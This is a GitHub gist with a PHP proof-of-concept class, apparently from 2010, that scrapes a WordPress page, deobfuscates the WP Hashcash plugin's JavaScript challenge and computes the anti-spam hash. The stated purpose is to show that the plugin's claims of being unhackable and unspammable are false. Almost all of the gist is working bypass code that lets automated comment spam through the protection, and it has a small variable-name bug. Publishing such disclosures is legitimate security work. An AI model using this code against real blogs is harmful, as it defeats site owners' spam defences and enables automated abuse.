Skip to content

Instantly share code, notes, and snippets.

@twistedpair
Last active February 21, 2016 16:25
Show Gist options
  • Save twistedpair/20b391f1e954e7a1aac9 to your computer and use it in GitHub Desktop.
Save twistedpair/20b391f1e954e7a1aac9 to your computer and use it in GitHub Desktop.
The fatuousness of various Wordpress plugins over the years has left me very underwhelmed. The following is a PoC showing just how easy it is to defeat the supposed "unhackable" and "unspammable" security provided by the [Wordpress HashCach Plugin](https://wordpress.org/plugins/hashcash/) , as discussed on my [blog post](https://lustforge.com/20…
<?php
/**
* @author Lustforge.com, 2010
* @version requires PHP 4.3 or higher
* @abstract Easily grab the Wordpress Hashcash hash for a given blog. Returns FALSE on failure.
* @example $HTML = file_get_contents('http://wordpress-plugins.feifei.us/hashcash/');
* $hash = UnHashCash::getHash($HTML);
* echo $hash;
*/
Class UnHashcash {
static function getHash($HTML) {
// USE REGULAR EXPRESSIONS TO GET OBFUSCATED VALUES
// get cash array
$matches = array();
$times = preg_match('#var\\s*wphc_data\\s*=(.*)$#im',$HTML,$matches);
if($times==0) {return false;} // nothing found
$cash_arr = $matches[0];
// extract values
$times = preg_match_all('#\\[?(?P<val>(\\d{5,15})),?#',$cash_arr,$matches);
if($times==0) {return false;} // nothing found
$cash_arr = $matches['val'];
// extract power value
$times = preg_match_all('#wphc_data\\[[a-z]*\\]\\^(?P<power>\\d{5,});#i',$HTML,$matches);
if($times==0) {return false;} // nothing found
$cash_power = (int)$matches['power'][0];
// DEOBFUSCATE BACK INTO JS CODE
// converted to code
// to power
foreach($cash_arr as $n=>$val) {
$cash_arr[$n] = ( (int)$val )^$cash_power;
}
// to char
foreach($cash_arr as $n=>$val) {
$cash_arr[$n] = chr($cash_arr[$n] & 0xFF).chr( UnHashcash::zeroFill($cash_arr[$n],8) & 0xFF ).chr( UnHashcash::zeroFill($cash_arr[$n],16) & 0xFF ).chr( UnHashcash::zeroFill($cash_arr[$n],24) & 0xFF );
}
// collapse encoded instruction
$func_str = implode($cash_arr);
// IDENTIFY AND COMPUTE CHALLENGE INTO HASHCASH VALUE
// determine which of three JS permutations is being used
$calc_soln = null;
// binary JS challenge?
$times = preg_match_all('#var\\s*wphc_eax\\s*=\\s*"(?P<wphc_eax>[01]+)";\\s*var\\s*wphc_ebx\\s*=\\s*(?P<wphc_ebx>\\d+);\\s*var\\s*wphc_ecx\\s*=\\s*(?P<wphc_ecx>\\d+);#i',$func_str,$matches);
if($times==1) {
//$bin = bindec($matches['wphc_eax'][0]);
$wphc_eax = $matches['wphc_eax'][0];
$wphc_ebx = 0;
$wphc_ecx = 0;
while($wphc_ecx < strlen($wphc_eax)){
if(substr($wphc_eax,$wphc_ecx,1) == '1') {
$wphc_ebx += pow(2, $wphc_ecx);
}
$wphc_ecx++;
}
$cach_soln = $wphc_ebx;
}
// sqrt JS challenge
$times = preg_match_all('#return\\s*(?P<val1>\\d{1,})\\s*\\*\\s*(?P<val2>\\d{1,})\\s*\\+\\s*(?P<val3>\\d{1,});#i',$func_str,$matches);
if($times==1) {
$cach_soln = ($matches['val1'][0]) * ($matches['val2'][0]) + ($matches['val3'][0]);
}
// basic addition challenge
$times = preg_match_all('#wphc_eax\\s*=\\s*(?P<val1>\\d{1,});\\s*wphc_eax\\s*\\+=\\s*(?P<val2>\\d{1,});#i',$func_str,$matches);
if($times==1) {
$cach_soln = ($matches['val1'][0]) + ($matches['val2'][0]);
}
return $cach_soln;
}
// HELPERS - no zeroFill >>> operator in PHP - barrowed from web
// http://stackoverflow.com/questions/2642026/php-equivalent-javascript-shift-right-with-zero-fill-bitwise-operators
private static function zeroFill($a,$b) {
if ($b == 0)
return $a + 0x100000000;
else {
if ($a >= 0) {
return bindec(decbin($a>>$b)); //simply right shift for positive number
}
$bin = decbin($a>>$b);
$bin = substr($bin, $b); // zero fill on the left side
$o = bindec($bin);
return $o;
}
}
}
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment